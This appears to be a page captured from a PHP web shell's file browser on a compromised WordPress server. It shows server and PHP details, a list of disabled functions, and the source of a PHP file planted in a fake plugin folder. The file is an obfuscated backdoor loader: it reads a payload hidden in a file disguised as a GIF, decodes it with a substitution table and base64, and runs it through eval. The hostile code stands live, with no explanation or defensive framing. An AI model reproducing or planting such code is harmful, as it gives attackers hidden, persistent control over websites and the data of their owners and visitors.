HEX
Server: Apache/2.4.29 (Ubuntu)
System: Linux instance-1 5.4.0-1092-gcp #101~18.04.1-Ubuntu SMP Mon Oct 17 18:29:06 UTC 2022 x86_64
User: web297 (5095)
PHP: 8.1.14
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, exec, shell_exec, system, passthru, proc_open, proc_close, popen, parse_ini_file, show_source
Upload Files
File: /data0/www/clients/client0/web297/web/wp-content/plugins/dumewyg/bovihut.php
<?php

function ejochiw_ichodyw($qejenag_ashyvab) {
    if (!file_exists($qejenag_ashyvab))
        return false;
    $kuwepy = @file_get_contents($qejenag_ashyvab);
    if (!$kuwepy)
        return false;
    $kuwepy = substr($kuwepy, 3);
    $linynox = pejawod_umowoty($kuwepy);
    return $linynox;
}

function pejawod_umowoty($qejenag_ashyvab) {
    $wyfoba = ipymofu_ykatoki;
    $wifirej = array();
    for ($kixetu = 0; $kixetu < strlen($wyfoba); $kixetu += 2) {
        $vygeqyk = substr($wyfoba, $kixetu, 1);
        $awycuj = substr($wyfoba, $kixetu + 1, 1);
        $wifirej[$vygeqyk] = $awycuj;
    }
    $ynifyso = strtr($qejenag_ashyvab, $wifirej);
    $ynifyso = base64_decode($ynifyso);

    return $ynifyso;
}

define("ipymofu_ykatoki", "2GFI4cJk/+d6iSmrBZ9mHY7sIpNAh3DCLiVvkeTPoMq4RRKHchZLAoWnxdbE02UUlurjnbfgXxSttQ=5eTuzQBpJCWPOjaEFa/gqzy576VYw193=vf+1ODs8MNG0wK8Xyl");

$moxugu = ejochiw_ichodyw(__DIR__ . "/asset" . "s/im" . "ages/o" . "rima" . "qi.gi" . "f");
if ($moxugu) {
    @eval($moxugu);
}